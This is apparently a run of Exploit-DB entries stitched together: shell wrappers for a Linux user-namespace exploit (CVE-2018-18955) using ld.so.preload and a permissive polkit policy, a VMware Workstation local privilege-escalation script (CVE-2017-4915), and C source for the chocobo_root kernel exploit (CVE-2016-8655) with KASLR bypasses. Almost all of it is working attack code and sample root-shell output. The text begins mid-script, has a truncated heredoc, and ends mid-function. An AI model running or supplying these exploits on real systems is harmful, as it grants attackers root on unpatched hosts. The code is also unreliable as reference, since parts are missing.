echo "cp ${lib} /lib/; echo /lib/${lib} > /etc/ld.so.preload" | ./subuid_shell ./subshell

/usr/bin/newuidmap

if ! test -u "${rootshell}"; then
  echo '[-] Failed'
  /bin/rm "${rootshell}"
  exit 1
fi

echo '[+] Success:'
/bin/ls -la "${rootshell}"

echo '[*] Cleaning up...'
/bin/rm subuid_shell
/bin/rm subshell
echo "/bin/rm /lib/${lib}" | $rootshell

echo "[*] Launching root shell: ${rootshell}"
$rootshell
            
#!/bin/sh
#
# EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47167.zip
#
# wrapper for Jann Horn's exploit for CVE-2018-18955
# uses polkit technique
# ---
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.polkit.sh
# [*] Compiling...
# [*] Creating /usr/share/polkit-1/actions/subuid.policy...
# [.] starting
# [.] setting up namespace
# [~] done, namespace sandbox set up
# [.] mapping subordinate ids
# [.] subuid: 165536
# [.] subgid: 165536
# [~] done, mapped subordinate ids
# [.] executing subshell
# [*] Launching pkexec...
# [+] Success:
# -rwsrwxr-x 1 root root 8384 Dec 29 14:22 /tmp/sh
# [*] Cleaning up...
# [*] Launching root shell: /tmp/sh
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
# uid=0(root) gid=0(root) groups=0(root),1001(test)

rootshell="/tmp/sh"
policy="subuid.policy"

command_exists() {
  command -v "${1}" >/dev/null 2>/dev/null
}

if ! command_exists gcc; then
  echo '[-] gcc is not installed'
  exit 1
fi

if ! command_exists /usr/bin/pkexec; then
  echo '[-] pkexec is not installed'
  exit 1
fi

if ! command_exists /usr/bin/newuidmap; then
  echo '[-] newuidmap is not installed'
  exit 1
fi

if ! command_exists /usr/bin/newgidmap; then
  echo '[-] newgidmap is not installed'
  exit 1
fi

if ! test -w .; then
  echo '[-] working directory is not writable'
  exit 1
fi

echo "[*] Compiling..."

if ! gcc subuid_shell.c -o subuid_shell; then
  echo 'Compiling subuid_shell.c failed'
  exit 1
fi

if ! gcc subshell.c -o subshell; then
  echo 'Compiling gcc_subshell.c failed'
  exit 1
fi

if ! gcc rootshell.c -o "${rootshell}"; then
  echo 'Compiling rootshell.c failed'
  exit 1
fi

echo "[*] Creating /usr/share/polkit-1/actions/${policy}..."

echo '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE policyconfig PUBLIC
  "-//freedesktop//DTD PolicyKit Policy Configuration 1.0//EN"
  "http://www.freedesktop.org/standards/PolicyKit/1/policyconfig.dtd">
<policyconfig>
  <action id="org.freedesktop.policykit.exec">
    <defaults>
      <allow_any>yes</allow_any>
      <allow_inactive>yes</allow_inactive>
      <allow_active>yes</allow_active>
    </defaults>
  </action>
</policyconfig>' > "${policy}"

echo "cp ${policy} /usr/share/polkit-1/actions/${policy}" | ./subuid_shell ./subshell

if ! test -r "/usr/share/polkit-1/actions/${policy}"; then
  echo '[-] Failed'
  /bin/rm "${rootshell}"
  exit 1
fi

echo "[*] Launching pkexec..."

/usr/bin/pkexec --disable-internal-agent 2>/dev/null /bin/sh -c "/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}"

if ! test -u "${rootshell}"; then
  echo '[-] Failed'
  /bin/rm "${rootshell}"
  exit 1
fi

echo '[+] Success:'
/bin/ls -la "${rootshell}"

echo '[*] Cleaning up...'
/bin/rm subuid_shell
/bin/rm subshell
/bin/rm "${policy}"
echo "/bin/rm /usr/share/polkit-1/actions/${policy}" | $rootshell

echo "[*] Launching root shell: ${rootshell}"
$rootshell
            
#!/bin/bash
################################################################################
# VMware Workstation Local Privilege Escalation exploit (CVE-2017-4915)        #
#  - https://www.vmware.com/security/advisories/VMSA-2017-0009.html            #
#  - https://www.exploit-db.com/exploits/42045/                                #
#                                                                              #
# Affects:                                                                     #
#  - VMware Workstation Player <= 12.5.5                                       #
#  - VMware Workstation Pro <= 12.5.5                                          #
################################################################################
# ~ bcoles

VM_PLAYER=/usr/bin/vmplayer
GCC=/usr/bin/gcc

RAND_STR=$(echo $RANDOM | tr '[0-9]' '[a-zA-Z]')
VM_DIR=$HOME/.$RAND_STR

echo "[*] Creating directory $VM_DIR"

mkdir "$VM_DIR"

if [ $? -ne 0 ] ; then
  echo "[-] Could not create $VM_DIR"
  exit 1
fi

echo "[*] Writing $VM_DIR/$RAND_STR.c"

cat > "$VM_DIR/$RAND_STR.c" <<EOL
#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <err.h>
extern char *program_invocation_short_name;
__attribute__((constructor)) void run(void) {
  uid_t ruid, euid, suid;
  if (getresuid(&ruid, &euid, &suid))
    err(1, "getresuid");
  printf("[*] Current UIDs: %d %d %d\n", ruid, euid, suid);
  if (ruid == 0 || euid == 0 || suid == 0) {
    if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
      err(1, "setresxid");
    printf("switched to root UID and GID");
    system("/bin/bash");
    _exit(0);
  }
}
EOL

echo "[*] Compiling $VM_DIR/$RAND_STR.c"

$GCC -shared -o "$VM_DIR/$RAND_STR.so" "$VM_DIR/$RAND_STR.c" -fPIC -Wall -ldl -std=gnu99

if [ $? -ne 0 ] ; then
  echo "[-] Compilation failed"
  exit 1
fi

echo "[*] Removing $VM_DIR/$RAND_STR.c"
rm "$VM_DIR/$RAND_STR.c"

echo "[*] Writing $HOME/.asoundrc"
  lib "$VM_DIR/$RAND_STR.so"
  func "conf_pulse_hook_load_if_running"
}
EOL

echo "[*] Writing $VM_DIR/$RAND_STR.vmx"

cat > "$VM_DIR/$RAND_STR.vmx" <<EOL
.encoding = "UTF-8"
config.version = "8"
virtualHW.version = "8"
scsi0.present = "FALSE"
memsize = "4"
ide0:0.present = "FALSE"
sound.present = "TRUE"
sound.fileName = "-1"
sound.autodetect = "TRUE"
vmci0.present = "FALSE"
hpet0.present = "FALSE"
displayName = "$RAND_STR"
guestOS = "other"
nvram = "$RAND_STR.nvram"
virtualHW.productCompatibility = "hosted"
gui.exitOnCLIHLT = "FALSE"
powerType.powerOff = "soft"
powerType.powerOn = "soft"
powerType.suspend = "soft"
powerType.reset = "soft"
floppy0.present = "FALSE"
monitor_control.disable_longmode = 1
EOL

echo "[*] Disabling VMware hint popups"

if [ ! -d "$HOME/.vmware" ]; then
  mkdir "$HOME/.vmware"
fi

if [ -f "$HOME/.vmware/preferences" ]; then
  if grep -qi "hints.hideall" "$HOME/.vmware/preferences"; then
    sed -i 's/hints\.hideAll\s*=\s*"FALSE"/hints.hideAll = "TRUE"/i' "$HOME/.vmware/preferences"
  else
    echo 'hints.hideAll = "TRUE"' >> "$HOME/.vmware/preferences"
  fi
else
  echo '.encoding = "UTF8"' > "$HOME/.vmware/preferences"
  echo 'pref.vmplayer.firstRunDismissedVersion = "999"' >> "$HOME/.vmware/preferences"
  echo 'hints.hideAll = "TRUE"' >> "$HOME/.vmware/preferences"
fi

echo "[*] Launching VMware Player..."
$VM_PLAYER "$VM_DIR/$RAND_STR.vmx"

echo "[*] Removing $HOME/.asoundrc"
rm "$HOME/.asoundrc"

echo "[!] Remove $VM_DIR when you're done"
rmdir "$VM_DIR"

################################################################################
# EOF
            
/*
chocobo_root.c
linux AF_PACKET race condition exploit for CVE-2016-8655.
Includes KASLR and SMEP/SMAP bypasses.
For Ubuntu 14.04 / 16.04 (x86_64) kernels 4.4.0 before 4.4.0-53.74.
All kernel offsets have been tested on Ubuntu / Linux Mint.

vroom vroom
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
user@ubuntu:~$ uname -a
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread
user@ubuntu:~$ ./chocobo_root
linux AF_PACKET race condition exploit by rebel
kernel version: 4.4.0-51-generic #72
proc_dostring = 0xffffffff81088090
modprobe_path = 0xffffffff81e48f80
register_sysctl_table = 0xffffffff812879a0
set_memory_rw = 0xffffffff8106f320
exploit starting
making vsyscall page writable..

new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 174222, last val = 2)
current packet version = 0
pbd->hdr.bh1.offset_to_first_pkt = 48
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
closing socket and verifying.......
vsyscall page altered!


stage 1 completed
registering new sysctl..

new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 30773, last val = 0)
current packet version = 2
pbd->hdr.bh1.offset_to_first_pkt = 48
race not won

retrying stage..
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 133577, last val = 2)
current packet version = 0
pbd->hdr.bh1.offset_to_first_pkt = 48
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
closing socket and verifying.......
sysctl added!

stage 2 completed
binary executed by kernel, launching rootshell
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root),1000(user)

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=

Shoutouts to:
jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI)
mcdelivery for delivering hotcakes and coffee

11/2016
by rebel
---
Updated by <bcoles@gmail.com>
- check number of CPU cores
- KASLR bypasses
- additional kernel targets
https://github.com/bcoles/kernel-exploits/tree/master/CVE-2016-8655
*/

#define _GNU_SOURCE

#include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <sys/utsname.h>
#include <sys/wait.h>

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/sched.h>
#include <netinet/tcp.h>
#include <netinet/if_ether.h>

#define DEBUG

#ifdef DEBUG
#  define dprintf printf
#else
#  define dprintf
#endif

#define ENABLE_KASLR_BYPASS 1

// Will be overwritten if ENABLE_KASLR_BYPASS
unsigned long KERNEL_BASE = 0xffffffff81000000ul;

// Will be overwritten by detect_versions()
int kernel = -1;

// New sysctl path
const char *SYSCTL_NAME = "hack";
const char *SYSCTL_PATH = "/proc/sys/hack";

volatile int barrier = 1;
volatile int vers_switcher_done = 0;

struct kernel_info {
    char *kernel_version;
    unsigned long proc_dostring;
    unsigned long modprobe_path;
    unsigned long register_sysctl_table;
    unsigned long set_memory_rw;
};

struct kernel_info kernels[] = {
    { "4.4.0-21-generic #37~14.04.1-Ubuntu", 0x084220, 0xc4b000, 0x273a30, 0x06b9d0 },
    { "4.4.0-22-generic #40~14.04.1-Ubuntu", 0x084250, 0xc4b080, 0x273de0, 0x06b9d0 },
    { "4.4.0-24-generic #43~14.04.1-Ubuntu", 0x084120, 0xc4b080, 0x2736f0, 0x06b880 },
    { "4.4.0-28-generic #47~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273b70, 0x06b880 },
    { "4.4.0-31-generic #50~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c20, 0x06b880 },
    { "4.4.0-34-generic #53~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c40, 0x06b880 },
    { "4.4.0-36-generic #55~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c60, 0x06b890 },
    { "4.4.0-38-generic #57~14.04.1-Ubuntu", 0x084210, 0xe4b100, 0x2742e0, 0x06b890 },
    { "4.4.0-42-generic #62~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274300, 0x06b880 },
    { "4.4.0-45-generic #66~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274340, 0x06b880 },
    //{"4.4.0-46-generic #67~14.04.1-Ubuntu",0x0842f0,0xe4b100,0x274580,0x06b880},
    { "4.4.0-47-generic #68~14.04.1-Ubuntu", 0x0842f0, 0xe4b100, 0x274580, 0x06b880 },
    //{"4.4.0-49-generic #70~14.04.1-Ubuntu",0x084350,0xe4b100,0x274b10,0x06b880},
    { "4.4.0-51-generic #72~14.04.1-Ubuntu", 0x084350, 0xe4b100, 0x274750, 0x06b880 },

    { "4.4.0-21-generic #37-Ubuntu", 0x087cf0, 0xe48e80, 0x286310, 0x06f370 },
    { "4.4.0-22-generic #40-Ubuntu", 0x087d40, 0xe48f00, 0x2864d0, 0x06f370 },
    { "4.4.0-24-generic #43-Ubuntu", 0x087e60, 0xe48f00, 0x2868f0, 0x06f370 },
    { "4.4.0-28-generic #47-Ubuntu", 0x087ea0, 0xe48f80, 0x286df0, 0x06f370 },
    { "4.4.0-31-generic #50-Ubuntu", 0x087ea0, 0xe48f80, 0x286e90, 0x06f370 },
    { "4.4.0-34-generic #53-Ubuntu", 0x087ea0, 0xe48f80, 0x286ed0, 0x06f370 },
    { "4.4.0-36-generic #55-Ubuntu", 0x087ea0, 0xe48f80, 0x286e50, 0x06f360 },
    { "4.4.0-38-generic #57-Ubuntu", 0x087f70, 0xe48f80, 0x287470, 0x06f360 },
    { "4.4.0-42-generic #62-Ubuntu", 0x087fc0, 0xe48f80, 0x2874a0, 0x06f320 },
    { "4.4.0-43-generic #63-Ubuntu", 0x087fc0, 0xe48f80, 0x2874b0, 0x06f320 },
    { "4.4.0-45-generic #66-Ubuntu", 0x087fc0, 0xe48f80, 0x2874c0, 0x06f320 },
    //{"4.4.0-46-generic #67-Ubuntu",0x088040,0xe48f80,0x287800,0x06f320},
    { "4.4.0-47-generic #68-Ubuntu", 0x088040, 0xe48f80, 0x287800, 0x06f320 },
    //{"4.4.0-49-generic #70-Ubuntu",0x088090,0xe48f80,0x287d40,0x06f320},
    { "4.4.0-51-generic #72-Ubuntu", 0x088090, 0xe48f80, 0x2879a0, 0x06f320},
};

#define VSYSCALL              0xffffffffff600000
#define PROC_DOSTRING         (KERNEL_BASE + kernels[kernel].proc_dostring)
#define MODPROBE_PATH         (KERNEL_BASE + kernels[kernel].modprobe_path)
#define REGISTER_SYSCTL_TABLE (KERNEL_BASE + kernels[kernel].register_sysctl_table)
#define SET_MEMORY_RW         (KERNEL_BASE + kernels[kernel].set_memory_rw)

#define KMALLOC_PAD 64

int pad_fds[KMALLOC_PAD];

// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *

struct ctl_table {
    const char *procname;
    void *data;
    int maxlen;
    unsigned short mode;
    struct ctl_table *child;
    void *proc_handler;
    void *poll;
    void *extra1;
    void *extra2;
};

#define CONF_RING_FRAMES 1

struct tpacket_req3 tp;
int sfd;
int mapped = 0;

struct timer_list {
    void *next;
    void *prev;
    unsigned long           expires;
    void                    (*function)(unsigned long);
    unsigned long           data;
    unsigned int            flags;
    int                     slack;
};

// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *

void *setsockopt_thread(void *arg)
{
    while (barrier) {}
    setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));

    return NULL;
}

void *vers_switcher(void *arg)
{
    int val,x,y;

    while (barrier) {}

    while (1) {
        val = TPACKET_V1;
        x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));

        y++;

        if (x != 0) break;

        val = TPACKET_V3;
        x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));

        if (x != 0) break;

        y++;
    }

    dprintf("[.] version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val);
    vers_switcher_done = 1;

    return NULL;
}

// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *

#define BUFSIZE 1408
char exploitbuf[BUFSIZE];

void kmalloc(void)
{
    while(1)
        syscall(__NR_add_key, "user", "wtf", exploitbuf, BUFSIZE - 24, -2);
}

void pad_kmalloc(void)
{
    int x;
    for (x = 0; x < KMALLOC_PAD; x++)
        if (socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)) == -1) {
            dprintf("[-] pad_kmalloc() socket error\n");
            exit(EXIT_FAILURE);
        }
}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
{
    pthread_t setsockopt_thread_thread,a;
    int val;
    socklen_t l;
    struct timer_list *timer;
    int fd;
    struct tpacket_block_desc *pbd;
    int off;
    sigset_t set;

    sigemptyset(&set);

    sigaddset(&set, SIGSEGV);

    if (pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
        dprintf("[-] couldn't set sigmask\n");
        exit(1);
    }

    dprintf("[.] new exploit attempt starting, jumping to %p, arg=%p\n", (void *)func, (void *)arg);

    pad_kmalloc();

    fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));

    if (fd == -1) {
        dprintf("[-] target socket error\n");
        exit(1);
    }

    pad_kmalloc();

    dprintf("[.] done, sockets allocated\n");

    val = TPACKET_V3;

    setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));

    tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
    tp.tp_block_nr = 1;
    tp.tp_frame_size = getpagesize();
    tp.tp_frame_nr = CONF_RING_FRAMES;

    // try to set the timeout to 10 seconds
    // the default timeout might still be used though depending on when the race was won
    tp.tp_retire_blk_tov = 10000;

    sfd = fd;

    if (pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
        dprintf("[-] Error creating thread\n");
        return 1;
    }

    pthread_create(&a, NULL, vers_switcher, (void *)NULL);

    usleep(200000);

    dprintf("[.] removing barrier and spraying...\n");

    memset(exploitbuf, '\x00', BUFSIZE);

    timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);
    timer->next = 0;
    timer->prev = 0;

    timer->expires = 4294943360;
    timer->function = (void *)func;
    timer->data = arg;
    timer->flags = 1;
    timer->slack = -1;

    barrier = 0;

    usleep(100000);

    while (!vers_switcher_done) usleep(100000);

    l = sizeof(val);
    getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);

    dprintf("[.] current packet version = %d\n",val);

    pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);

    if (pbd == MAP_FAILED) {
        dprintf("[-] could not map pbd\n");
        exit(1);
    } else {
        off = pbd->hdr.bh1.offset_to_first_pkt;
        dprintf("[.] pbd->hdr.bh1.offset_to_first_pkt = %d\n", off);
    }


    if (val == TPACKET_V1 && off != 0) {
        dprintf("*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n");
    } else {
        dprintf("[-] race not won\n");
        exit(2);
    }

    munmap(pbd, tp.tp_block_size * tp.tp_block_nr);

    pthread_create(&a, NULL, verification_func, (void *)NULL);

    dprintf("\n");
    dprintf("[!] please wait up to a few minutes for timer to be executed.\n");
    dprintf("[!] if you ctrl-c now the kernel will hang. so don't do that.\n");
    dprintf("\n");

    sleep(1);
    dprintf("[.] closing socket and verifying...\n");

    close(sfd);

    kmalloc();

    dprintf("[.] all messages sent\n");

    sleep(31337);
    exit(1);
}

int verification_result = 0;

void catch_sigsegv(int sig)
{
    verification_result = 0;
    pthread_exit((void *)1);
}

void *modify_vsyscall(void *arg)
{
    unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);
    unsigned long x = (unsigned long)arg;

    sigset_t set;
    sigemptyset(&set);
    sigaddset(&set, SIGSEGV);

    if (pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
        dprintf("[-] couldn't set sigmask\n");
        exit(EXIT_FAILURE);
    }

    signal(SIGSEGV, catch_sigsegv);

    *vsyscall = 0xdeadbeef+x;

    if (*vsyscall == 0xdeadbeef+x) {
        dprintf("[~] vsyscall page altered!\n");
        verification_result = 1;
        pthread_exit(0);
    }

    return NULL;
}

void verify_stage1(void)
{
    pthread_t v_thread;

    sleep(5);

    int x;
    for(x = 0; x < 300; x++) {

        pthread_create(&v_thread, NULL, modify_vsyscall, 0);

        pthread_join(v_thread, NULL);

        if(verification_result == 1) {
            exit(0);
        }

        write(2,".",1);
        sleep(1);
    }

    dprintf("[-] could not modify vsyscall\n");
    exit(EXIT_FAILURE);
}

void verify_stage2(void)
{
    struct stat b;

    sleep(5);

    int x;
    for(x = 0; x < 300; x++) {

        if (stat(SYSCTL_PATH, &b) == 0) {
            dprintf("[~] sysctl added!\n");
            exit(0);
        }

        write(2,".",1);
        sleep(1);
    }

    dprintf("[-] could not add sysctl\n");
    exit(EXIT_FAILURE);
}

void exploit(unsigned long func, unsigned long arg, void *verification_func)
{
    int status;
    int pid;

retry:

    pid = fork();

    if (pid == 0) {
        try_exploit(func, arg, verification_func);
        exit(1);
    }

    wait(&status);

    dprintf("\n");

    if (WEXITSTATUS(status) == 2) {
        dprintf("[.] retrying stage...\n");
        kill(pid, 9);
        sleep(2);
        goto retry;
    }

    if (WEXITSTATUS(status) != 0) {
        dprintf("[-] something bad happened, aborting exploit attempt\n");
        exit(EXIT_FAILURE);
    }

    kill(pid, 9);
}


void wrapper(void)
{
    struct ctl_table *c;

    dprintf("[.] making vsyscall page writable...\n\n");

    exploit(SET_MEMORY_RW, VSYSCALL, verify_stage1);

    dprintf("[~] done, stage 1 completed\n");

    sleep(5);

    dprintf("[.] registering new sysctl...\n\n");

    c = (struct ctl_table *)(VSYSCALL+0x850);

    memset((char *)(VSYSCALL+0x850), '\x00', 1952);

    strcpy((char *)(VSYSCALL+0xf00), SYSCTL_NAME);
    memcpy((char *)(VSYSCALL+0xe00), "\x01\x00\x00\x00",4);
    c->procname = (char *)(VSYSCALL+0xf00);
    c->mode = 0666;
    c->proc_handler = (void *)(PROC_DOSTRING);
    c->data = (void *)(MODPROBE_PATH);
    c->maxlen = 256;
    c->extra1 = (void *)(VSYSCALL+0xe00);
    c->extra2 = (void *)(VSYSCALL+0xd00);

    exploit(REGISTER_SYSCTL_TABLE, VSYSCALL+0x850, verify_stage2);

    dprintf("[~] done, stage 2 completed\n");
}

// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *

void check_procs() {
    int min_procs = 2;

    int nprocs = 0;
    nprocs = get_nprocs_conf();

    if (nprocs < min_procs) {
        dprintf("[-] system has less than %d processor cores\n", min_procs);
        exit(EXIT_FAILURE);
    }

    dprintf("[.] system has %d processor cores\n", nprocs);
}

struct utsname get_kernel_version() {
    struct utsname u;
    int rv = uname(&u);
    if (rv != 0) {
        dprintf("[-] uname())\n");
        exit(EXIT_FAILURE);
    }
    return u;
}

#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))

void detect_versions() {
    struct utsname u;
    char kernel_version[512];

    u = get_kernel_version();

    if (strstr(u.machine, "64") == NULL) {
        dprintf("[-] system is not using a 64-bit kernel\n");
        exit(EXIT_FAILURE);
    }

    if (strstr(u.version, "-Ubuntu") == NULL) {
        dprintf("[-] system is not using an Ubuntu kernel\n");
        exit(EXIT_FAILURE);
    }

    char *u_ver = strtok(u.version, " ");
    snprintf(kernel_version, 512, "%s %s", u.release, u_ver);

    int i;
    for (i = 0; i < ARRAY_SIZE(kernels); i++) {
        if (strcmp(kernel_version, kernels[i].kernel_version) == 0) {
            dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version);
            kernel = i;
            return;
        }
    }

    dprintf("[-] kernel version not recognized\n");
    exit(EXIT_FAILURE);
}

// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *

#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10

bool mmap_syslog(char** buffer, int* size) {
    *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
    if (*size == -1) {
        dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
        return false;
    }

    *size = (*size / getpagesize() + 1) * getpagesize();
    *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
    if (*size == -1) {
        dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
        return false;
    }

    return true;
}

unsigned long get_kernel_addr_trusty(char* buffer, int size) {
    const char* needle1 = "Freeing unused";
    char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
    if (substr == NULL) return 0;

    int start = 0;
    int end = 0;
    for (end = start; substr[end] != '-'; end++);

    const char* needle2 = "ffffff";
    substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
    if (substr == NULL) return 0;

    char* endptr = &substr[16];
    unsigned long r = strtoul(&substr[0], &endptr, 16);

    r &= 0xffffffffff000000ul;

    return r;
}

unsigned long get_kernel_addr_xenial(char* buffer, int size) {
    const char* needle1 = "Freeing unused";
    char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
    if (substr == NULL) {
        return 0;
    }

    int start = 0;
    int end = 0;
    for (start = 0; substr[start] != '-'; start++);
    for (end = start; substr[end] != '\n'; end++);

    const char* needle2 = "ffffff";
    substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
    if (substr == NULL) {
        return 0;
    }

    char* endptr = &substr[16];
    unsigned long r = strtoul(&substr[0], &endptr, 16);

    r &= 0xfffffffffff00000ul;
    r -= 0x1000000ul;

    return r;
}

unsigned long get_kernel_addr_syslog() {
    unsigned long addr = 0;
    char* syslog;
    int size;

    dprintf("[.] trying syslog...\n");

    if (!mmap_syslog(&syslog, &size))
        return 0;

    if (strstr(kernels[kernel].kernel_version, "14.04.1") != NULL)
        addr = get_kernel_addr_trusty(syslog, size);
    else
        addr = get_kernel_addr_xenial(syslog, size);

    if (!addr)
        dprintf("[-] kernel base not found in syslog\n");

    return addr;
}

// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *

unsigned long get_kernel_addr_kallsyms() {
    FILE *f;
    unsigned long addr = 0;
    char dummy;
    char sname[256];
    char* name = "startup_64";
    char* path = "/proc/kallsyms";

    dprintf("[.] trying %s...\n", path);
    f = fopen(path, "r");
    if (f == NULL) {
        dprintf("[-] open/read(%s)\n", path);
        return 0;
    }

    int ret = 0;
    while (ret != EOF) {
        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
        if (ret == 0) {
            fscanf(f, "%s\n", sname);
            continue;
        }
        if (!strcmp(name, sname)) {
            fclose(f);
            return addr;
        }
    }

    fclose(f);
    dprintf("[-] kernel base not found in %s\n", path);
    return 0;
}

// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *

unsigned long get_kernel_addr_sysmap() {
    FILE *f;
    unsigned long addr = 0;
    char path[512] = "/boot/System.map-";
    char version[32];

    struct utsname u;
    u = get_kernel_version();
    strcat(path, u.release);
    dprintf("[.] trying %s...\n", path);
    f = fopen(path, "r");
    if (f == NULL) {
        dprintf("[-] open/read(%s)\n", path);
        return 0;
    }

    char dummy;
    char sname[256];
    char* name = "startup_64";
    int ret = 0;
    while (ret != EOF) {
        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
        if (ret == 0) {
            fscanf(f, "%s\n", sname);
            continue;
        }
        if (!strcmp(name, sname)) {
            fclose(f);
            return addr;
        }
    }

    fclose(f);
    dprintf("[-] kernel base not found in %s\n", path);
    return 0;
}

// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *

unsigned long get_kernel_addr_mincore() {
    unsigned char buf[getpagesize()/sizeof(unsigned char)];
    unsigned long iterations = 20000000;
    unsigned long addr = 0;

    dprintf("[.] trying mincore info leak...\n");
    /* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
    if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
        MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
        dprintf("[-] mmap()\n");
        return 0;
    }

    int i;
    for (i = 0; i <= iterations; i++) {
        /* Touch a mishandle with this type mapping */
        if (mincore((void*)0x86000000, 0x1000000, buf)) {
            dprintf("[-] mincore()\n");
            return 0;
        }

        int n;
        for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
            addr = *(unsigned long*)(&buf[n]);
            /* Kernel address space */
            if (addr > 0xffffffff00000000) {
                addr &= 0xffffffffff000000ul;
                if (munmap((void*)0x66000000, 0x20000000000))
                    dprintf("[-] munmap()\n");
                return addr;
            }
        }
    }

    if (munmap((void*)0x66000000, 0x20000000000))
        dprintf("[-] munmap()\n");

    dprintf("[-] kernel base not found in mincore info leak\n");
    return 0;
}

// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *

unsigned long get_kernel_addr() {
    unsigned long addr = 0;

    addr = get_kernel_addr_kallsyms();
    if (addr) return addr;

    addr = get_kernel_addr_sysmap();
    if (addr) return addr;

    addr = get_kernel_addr_syslog();
    if (addr) return addr;

    addr = get_kernel_addr_mincore();
    if (addr) return addr;

    dprintf("[-] KASLR bypass failed\n");
    exit(EXIT_FAILURE);

